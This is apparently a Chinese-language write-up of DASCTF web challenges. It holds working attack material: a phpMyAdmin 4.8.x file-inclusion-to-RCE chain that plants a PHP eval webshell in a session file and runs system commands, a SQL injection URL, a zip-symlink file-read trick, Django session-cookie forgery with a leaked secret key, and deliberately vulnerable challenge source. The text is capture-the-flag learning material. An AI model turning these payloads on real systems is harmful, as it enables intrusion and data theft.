web1[复现]
虽然有order by注入,但并无太大用处,权限不够,也不能堆叠
- 文件泄露
200 304B http://120.26.75.91:38880/db.sql
200 502B http://120.26.75.91:38880/Dockerfile
200 1KB http://120.26.75.91:38880/index.php
200 1KB http://120.26.75.91:38880/index.php/login/
301 326B http://120.26.75.91:38880/phpMyAdmin
200 9KB http://120.26.75.91:38880/phpMyAdmin/
200 37B http://120.26.75.91:38880/robots.txt
当初做的时候,没去看db.sql 憨憨了
db.sql
CREATE USER 'test'@'%' IDENTIFIED BY 'HelloDASCTF';
CREATE DATABASE test;
use test;
CREATE TABLE goods (
id int(11) primary key auto_increment,
name varchar(256),
price int(11)
);
INSERT INTO users values (1, '老八秘制小汉堡', 8),(2, '火鸡面', 1);
GRANT ALL ON test.* TO 'test'@'%';
Dockerfile
FROM dasctfbase/web_php73_apache_mysql
COPY src /var/www/html
# 如需自定义 FLAG 请将自定义脚本覆盖到 /flag.sh
COPY files/flag.sh /flag.sh
# 如需操作数据库请将 sql 文件拷贝到 /db.sql
COPY files/db.sql /db.sql
# 如有上传文件等操作请务必将权限设置正确!
# RUN chown www-data:www-data /var/www/html/uploads/
# 如需静态 FLAG 请在此利用环境变量声明
# ENV DASCTF=DASCTF{flag_test}
# 请声明对外暴露端口
EXPOSE 80
得到test密码为HelloDASCTF
登录phpMyadmin
,并利用https://blog.vulnspy.com/2018/06/21/phpMyAdmin-4-8-x-Authorited-CLI-to-RCE/
exp
sql语句执行
select "<?php eval($_GET[1]);?>";
之后获取自己的cookie,利用lif漏洞进行包含和rce
最后payload
http://120.26.75.91:38880/phpMyAdmin/?target=db_sql.php%253f/../../../../../../../../tmp/sess_e5c062c7a491ab91efb493da7afa1a1d&1=system(%27cat%20/ewkhr4uirh4ri34ur3iruird_flag_f%20%27);
web2
<?php
$key = "********";
srand(time());
$a = rand(0,100);
$b = rand(0,100);
$c = rand(0,100);
$d = rand(0,100);
$e = rand(0,100);
$result = ((($a - $b)/$c)+$d) * $e;
$result = md5($key.$result.$key);
show_source(__FILE__);
?>
payload.py
import requests
import HackRequests
import re
import hashlib
from time import *
hack = HackRequests.hackRequests()
def md5(data):
return hashlib.md5(data.encode(encoding='UTF-8')).hexdigest()
url = "http://183.129.189.60:10007"
raw_orange = '''
POST /flag.php HTTP/1.1
Host: 183.129.189.60:10007
Content-Length: 39
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36 Edg/87.0.664.41
Origin: null
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: username=xzas; PHPSESSID=43gd1ger6f4mk2lpbcp95sao23
Connection: close
answer=5dafe5ec8287afcd6f215bfc2d05c7b2
'''
first= hack.httpraw(raw_orange)
code = first.text()
code = code[160:-3]
print(code)
raw_orange = '''
POST /flag.php HTTP/1.1
Host: 183.129.189.60:10007
Content-Length: 39
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36 Edg/87.0.664.41
Origin: null
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: username=xzas; PHPSESSID=43gd1ger6f4mk2lpbcp95sao23
Connection: close
answer={}
'''.format(code)
print(raw_orange)
hh = hack.httpraw(raw_orange)
print(hh.text())
web3
/tmp/upload_b1l57d01ch94fcs0opvl7llc13/*:
/tmp/upload_b1l57d01ch94fcs0opvl7llc13/*
构造软链接
zip -y flag.zip test
web4
sql注入
http://183.129.189.60:10017/show.php?id=0'/**/or/**/'1'='1
web5[待补]
生成admin_session
import os
os.environ.setdefault('DJANGO_SETTINGS_MODULE','settings')
from django.conf import settings
from django.core import signing
from django.contrib.sessions.backends import signed_cookies
from passlib.hash import pbkdf2_sha256
from django.contrib.auth.hashers import make_password, check_password
sess = signing.loads('.eJyrVsosjs_JT8_MU7IqKSpN1VEqTk0uSi1RslIqCwmrSvPxzM_J9DcwzHCvUNIBqU1MyQWpTUvMKQYqLi1OLYrPS8xNBapPSzUsN1CCimWmKFkZmdUCACadH_U:1kgesn:M6sm9YEyDl8Tz9BaE2enF1HgCEg',key='a!_+3-i$!9xje1di5jxn=#zsi88i69uq=n9f(exm8cjkg&k)i+',salt='django.contrib.sessions.backends.signed_cookies')
print sess
sess[u'is_admin']=True
print sess
s= signing.dumps(sess, key='a!_+3-i$!9xje1di5jxn=#zsi88i69uq=n9f(exm8cjkg&k)i+',compress=True, salt='django.contrib.sessions.backends.signed_cookies')
print s
访问source获得源代码
HTTP/1.1 200 OK
Date: Sun, 22 Nov 2020 02:33:49 GMT
Server: WSGIServer/0.2 CPython/3.5.2
Vary: Cookie
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 7786
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>åªæææè½ç¨çAESå¾çå å¯ç¨åº</title>
</head>
<body>
<h1>views.py</h1>
<code>
from django.shortcuts import render
from django.shortcuts import redirect
import hashlib
import string
import random
from . import models
from . import forms
from . import file_handle
def hash_code(s, salt='hellohacker'):
h = hashlib.sha256()
s += salt
h.update(s.encode())
return h.hexdigest()
# æªç»å½äººåï¼ä¸è®ºæ¯è®¿é®indexè¿æ¯loginålogoutï¼å
¨é¨è·³è½¬å°loginçé¢
# å·²ç»å½äººåï¼è®¿é®loginä¼èªå¨è·³è½¬å°index页é¢
# å·²ç»å½äººåï¼ä¸å
许ç´æ¥è®¿é®register页é¢ï¼éå
logout
# ç»åºåï¼èªå¨è·³è½¬å°loginçé¢
# Create your views here.
def index(request):
if not request.session.get('is_login', None):
return redirect('/login/')
user = request.session.get('user_name')
if not request.session.get('is_admin', None):
message_f = 'ä½ ä¸æ¯ç®¡çåï¼è¯·åæ管çå'
else:
message_s = '欢è¿ç»éï¼ç®¡çå'
return render(request, 'login/index.html', locals())
def login(request):
if request.session.get('is_login', None):
return redirect('/index/')
if request.method == "POST":
login_form = forms.UserForm(request.POST)
message = '请æ£æ¥å¡«åçå
容!'
if login_form.is_valid():
username = login_form.cleaned_data.get('username')
password = login_form.cleaned_data.get('password')
try:
user = models.User.objects.get(name=username)
except:
message = 'ç¨æ·ä¸åå¨'
return render(request, 'login/login.html', locals())
if user.password == hash_code(password):
request.session['is_login'] = True
request.session['user_id'] = user.id
request.session['user_name'] = user.name
request.session['secret'] = ''.join(random.sample(string.ascii_letters+string.digits, 16))
request.session['is_admin'] = False
return redirect('/index/')
else:
message = 'å¯ç ä¸æ£ç¡®'
return render(request, 'login/login.html', locals())
login_form = forms.UserForm()
return render(request, 'login/login.html', locals())
def register(request):
if request.session.get('is_login', None):
return redirect('/index/')
if request.method == 'POST':
register_form = forms.RegisterForm(request.POST)
message = "请æ£æ¥å¡«åçå
容"
if register_form.is_valid():
username = register_form.cleaned_data.get('username')
password = register_form.cleaned_data.get('password')
same_name_user = models.User.objects.filter(name=username)
if same_name_user:
message = 'ç¨æ·åå·²ç»åå¨'
return render(request, 'login/register.html', locals())
new_user = models.User()
new_user.name = username
new_user.password = hash_code(password)
new_user.save()
return redirect('/login/')
else:
return render(request, 'login/register.html', locals())
register_form = forms.RegisterForm()
return render(request, 'login/register.html', locals())
def logout(request):
if not request.session.get('is_login', None):
return redirect('/login/')
request.session.flush()
return redirect('/login/')
def upload_file(request):
if not request.session.get('is_login', None):
return redirect('/login/')
if not request.session.get('is_admin', None):
return render(request, 'login/admin.html')
if request.method == 'POST':
img = request.FILES.get('img', None)
if img.content_type != 'image/png' or img.size > 300000 or img._name.split('.')[1] != 'png':
message = 'åªå
许ä¸ä¼ png æ件ä¸æ件å°äº300kb'
return render(request, 'login/result.html', locals())
user = request.session.get('user_name')
key = request.session.get('secret')
file_handle.img_handle(img, key, user, img._name.split('.')[0])
message = 'success'
return render(request, 'login/result.html', locals())
else:
return render(request, 'login/upload.html', locals())
def show_source(request):
if not request.session.get('is_login', None):
return redirect('/login/')
if not request.session.get('is_admin', None):
return render(request, 'login/admin.html')
return render(request, 'login/code.html')
</code>
<h1>file_handle.py</h1>
<code>
from PIL import Image
from . import pic_encrypto
from challenge import settings
import os
import hashlib
def img_handle(f, key, name, i_name):
try:
img = Image.open(f)
except:
return False
h = hashlib.md5()
h.update((name+key).encode())
save_path = settings.MEDIA_ROOT + '/' + h.hexdigest()
if not os.path.exists(save_path):
os.makedirs(save_path.replace('\\', '/'))
print(save_path)
print(i_name)
h.update((i_name + key).encode())
print(h.hexdigest()+'.png')
pic_encrypto.encrypt(img, key.encode(), save_path, h.hexdigest()+'.png')
</code>
<h1>pic_encrypto.py</h1>
<code>
from Crypto.Cipher import AES
import binascii
from PIL import Image
def replace_all(text, dic):
for i, j in dic.items():
i = i.encode()
j = j.encode()
text = text.replace(i, j)
return text
def construct_enc_image(ciphertext, relength, width, height, save_path, i_name):
asciicipher = binascii.hexlify(ciphertext)
reps = {'a': '1', 'b': '2', 'c': '3', 'd': '4', 'e': '5', 'f': '6', 'g': '7', 'h': '8', 'i': '9', 'j': '10',
'k': '11', 'l': '12', 'm': '13', 'n': '14', 'o': '15', 'p': '16', 'q': '17', 'r': '18', 's': '19',
't': '20', 'u': '21', 'v': '22', 'w': '23', 'x': '24', 'y': '25', 'z': '26'}
asciiciphertxt = replace_all(asciicipher, reps)
step = 3
encimageone = [asciiciphertxt[i:i + step] for i in range(0, len(asciiciphertxt), step)]
if int(encimageone[len(encimageone) - 1]) < 100:
encimageone[len(encimageone) - 1] += b"1"
if len(encimageone) % 3 != 0:
while (len(encimageone) % 3 != 0):
encimageone.append(b"101")
encimagetwo = [(int(encimageone[int(i)]), int(encimageone[int(i + 1)]), int(encimageone[int(i + 2)])) for i in
range(0, len(encimageone), step)]
while (int(relength) != len(encimagetwo)):
encimagetwo.pop()
encim = Image.new("RGB", (int(width), int(height)))
encim.putdata(encimagetwo)
encim.save(save_path + '/' + i_name)
def encrypt(im, key, save_path, i_name):
plaintext = list()
plaintextstr = ""
pix = im.load()
width = im.size[0]
height = im.size[1]
for y in range(0, height):
for x in range(0, width):
plaintext.append(pix[x, y])
for i in range(0, len(plaintext)):
for j in range(0, 3):
aa = int(plaintext[i][j]) + 100
plaintextstr = plaintextstr + str(aa)
relength = len(plaintext)
plaintextstr = plaintextstr.encode()
plaintextstr += b"h" + bytes(height) + b"h" + b"w" + bytes(width) + b"w"
while (len(plaintextstr) % 16 != 0):
plaintextstr = plaintextstr + b"n"
key = key
try:
obj = AES.new(key, AES.MODE_CBC, b'aaaaaaaaaaaaaaaa')
except:
return False
ciphertext = obj.encrypt(plaintextstr)
# c = open("flag.crypto", 'wb')
# c.write(flag)
construct_enc_image(ciphertext, relength, width, height, save_path, i_name)
</code>
</body>
</html>
web6[待复现]
<?php
error_reporting(0);
//flag.php
if( isset( $_GET['code'] ) )
{
$code = $_GET['code'];
if( strlen( $code ) > 18 )
{
die("You really long, but i dont like more than 18cm");
}
if ( preg_match( "/\w/", $code ) )
{
die("i dislike it");
}
if ( preg_match( "/&|\||\^|\~|\!/", $code ) )
{
die("stop calculating");
}
if ( preg_match( "/\(|\)/", $code ) )
{
die("call function is not safe");
}
if ( preg_match( "/\(|\)/", $code ) )
{
die("call function is not safe");
}
if ( preg_match( "/\{|\}|\[|\]/", $code ) )
{
die( "fxcking brackets");
}
if ( preg_match( "/\\$|@|\./", $code ) )
{
die("$1 dou bu gei wo");
}
eval( $code ); //I believe that those noob hackers cannot hack me
} else {
show_source(__FILE__);
}
?>
Web7-UploadAvatar[待复现]
<?php
ini_set('open_basedir', './:/tmp/');
class User{
private $pdoDb = 'mysql:host=mysql5.7;dbname=ctf;port=3306';
private $user = [] ;
private $dbUserName='root';
private $dbPassword='root';
public $username = 'admin' ;
public $password = '123456';
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$db = new PDO($this->pdoDb,$this->dbUserName,$this->dbPassword);
$state = $db->query('select username,password from user where id=1');
echo "<h2>username: $this->username</h2>";
echo "<h2>password: $this->password</h2>";
$res = $state->fetchAll()[0];
if($res['username']===$this->username && $res['password']===md5($this->password)){
include 'flag.php';
echo $flag;
}else{
echo 'your are a hacker!';
}
}
}
parse_str(@$_SERVER['QUERY_STRING']);
$sandBox = $_SERVER['REMOTE_ADDR'];
if(!is_dir($sandBox)){
mkdir($sandBox,0755,true);
file_put_contents($sandBox.'/.htaccess','php_flag engine off');
}
switch($action){
case '':
highlight_file(__FILE__);
break;
case 'auth':
if($username==''||$password==''){
die('please input username and password!');
}
if(!file_exists($sandBox.'/pic.jpg')){
echo '<h1>赶紧给自己传一个屌炸天的头像啊!!</h1>';
}else{
echo "<img src='".$sandBox.'/pic.jpg'."'/>";
}
$o = new User($username,$password);
unserialize(serialize($o));
break;
case 'profile':
if($_FILES){
move_uploaded_file($_FILES['profile']['tmp_name'],$sandBox.'/pic.jpg');
}
break;
}